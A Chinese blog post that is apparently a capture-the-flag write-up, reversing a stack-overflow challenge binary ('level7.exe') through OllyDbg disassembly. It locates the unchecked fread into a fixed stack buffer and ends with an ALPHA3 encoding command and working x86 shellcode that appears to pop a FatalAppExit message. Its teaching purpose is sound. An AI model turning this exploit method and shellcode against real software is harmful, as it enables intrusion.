文章来自：Tracy'Blog——【栈溢出攻击原理实例详解】
去年，师弟给了个他比赛的题目给我，说要我试试，一直没去弄。这不又开学了，正愁着连ESP定律都快忘干净了，又把它拿出来了，就当练练手，就当加深一下印象吧~做完之后，发现，这是一个典型的栈溢出利用。那就当教程来写了~
直接双击，程序一闪而过，什么都没看到。于是，命令行下运行，看到了返回结果Illegal Arguments（非法参数）。习惯性的peid查壳，发现没加壳。拖到C32Asm看看有哪些字符串，同时OD加载，IDA分析。
直接单步到程序处：
CPU Disasm
Address Hex dump Command Comments
004010B0 /$ 837C24 04 CMP DWORD PTR SS:[Arg1],2 ; level7.004010B0(guessed Arg1,Arg2,Arg3)
004010B5 |. 7D 13 JGE SHORT level7.004010CA
004010B7 |. 68 B480400 PUSH OFFSET level7.004080B4 ; ASCII "Illegal Arguments",LF
004010BC |. E8 D001000 CALL level7.00401291
004010C1 |. 83C4 04 ADD ESP,4
004010C4 |. B8 0100000 MOV EAX,1
004010C9 |. C3 RETN
004010CA |> 56 PUSH ESI
004010CB |. 57 PUSH EDI
004010CC |. 68 B080400 PUSH OFFSET level7.004080B0 ; ASCII "wb+"
004010D1 |. 68 4080400 PUSH OFFSET level7.00408040 ; ASCII "level7"
004010D6 |. E8 A301000 CALL level7.0040127E ; 打开文件
004010DB |. 8BF0 MOV ESI,EAX
004010DD |. 8B4424 18 MOV EAX,DWORD PTR SS:[Arg2]
004010E1 |. 56 PUSH ESI
004010E2 |. 8B48 04 MOV ECX,DWORD PTR DS:[EAX+4]
004010E5 |. 51 PUSH ECX
004010E6 |. E8 3C04000 CALL level7.00401527 ; fputs
004010EB |. 56 PUSH ESI ; /Arg1
004010EC |. E8 2903000 CALL level7.0040141A ; \level7.0040141A, fflush
004010F1 |. 56 PUSH ESI
004010F2 |. E8 CB01000 CALL level7.004012C2 ; ftell 返回文件长度
004010F7 |. 56 PUSH ESI ; /Arg1
004010F8 |. 8BF8 MOV EDI,EAX ; |
004010FA |. E8 2100000 CALL level7.00401120 ; \level7.00401120, fclose
004010FF |. 68 8480400 PUSH OFFSET level7.00408084 ; ASCII "Write argv[1] to level7, level7 is a file!",LF
00401104 |. E8 8801000 CALL level7.00401291
00401109 |. 57 PUSH EDI
0040110A |. E8 F1FEFFF CALL level7.00401000 ; 读文件
0040110F |. 83C4 24 ADD ESP,24
00401112 |. 33C0 XOR EAX,EAX
00401114 |. 5F POP EDI
00401115 |. 5E POP ESI
00401116 \. C3 RETN
level7.exe 123456798
CPU Disasm
Address Hex dump Command Comments
00401021 |. E8 6B02000 CALL level7.00401291
00401026 |. 8BBC24 0C0 MOV EDI,DWORD PTR SS:[ARG.1]
0040102D |. 83C4 04 ADD ESP,4
00401030 |. 83FF FF CMP EDI,-1
00401033 |. 75 17 JNE SHORT level7.0040104C
00401035 |. 68 4C80400 PUSH OFFSET level7.0040804C ; ASCII "File's size too small, not read",LF
0040103A |. E8 5202000 CALL level7.00401291
0040103F |. 83C4 04 ADD ESP,4
00401042 |. 33C0 XOR EAX,EAX
00401044 |. 5F POP EDI
00401045 |. 81C4 00010 ADD ESP,100
0040104B |. C3 RETN
0040104C |> 81FF C8000 CMP EDI,0C8
00401052 |. 7F 17 JG SHORT level7.0040106B
00401054 |. 68 4C80400 PUSH OFFSET level7.0040804C ; ASCII "File's size too small, not read",LF
00401059 |. E8 3302000 CALL level7.00401291
0040105E |. 83C4 04 ADD ESP,4
00401061 |. 33C0 XOR EAX,EAX
00401063 |. 5F POP EDI
00401064 |. 81C4 00010 ADD ESP,100
0040106A |. C3 RETN
0040106B |> 56 PUSH ESI
0040106C |. 68 4880400 PUSH OFFSET level7.00408048 ; ASCII "rb"
00401071 |. 68 4080400 PUSH OFFSET level7.00408040 ; ASCII "level7"
00401076 |. E8 0302000 CALL level7.0040127E ; fopen
0040107B |. 8BF0 MOV ESI,EAX
0040107D |. 8D4424 10 LEA EAX,[LOCAL.63]
00401081 |. 56 PUSH ESI
00401082 |. 57 PUSH EDI
00401083 |. 6A 01 PUSH 1
00401085 |. 50 PUSH EAX
00401086 |. E8 EB00000 CALL level7.00401176 ; fread 此处异常
0040108B |. 56 PUSH ESI ; /Arg1
0040108C |. E8 8F00000 CALL level7.00401120 ; \level7.00401120
00401091 |. 68 3080400 PUSH OFFSET level7.00408030 ; ASCII "Read level7 ok",LF
00401096 |. E8 F601000 CALL level7.00401291
0040109B |. 83C4 20 ADD ESP,20
0040109E |. 8D4424 08 LEA EAX,[LOCAL.63]
004010A2 |. 5E POP ESI
004010A3 |. 5F POP EDI
004010A4 |. 81C4 00010 ADD ESP,100
004010AA \. C3 RETN
00401B40 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 异常
python ALPHA3.py x86 ascii mixedcase EAX --input=1.bin
unsigned char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x61\x63"
"\x6B\x01\x68\x63\x79\x43\x72\x68\x20\x54\x72\x61\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
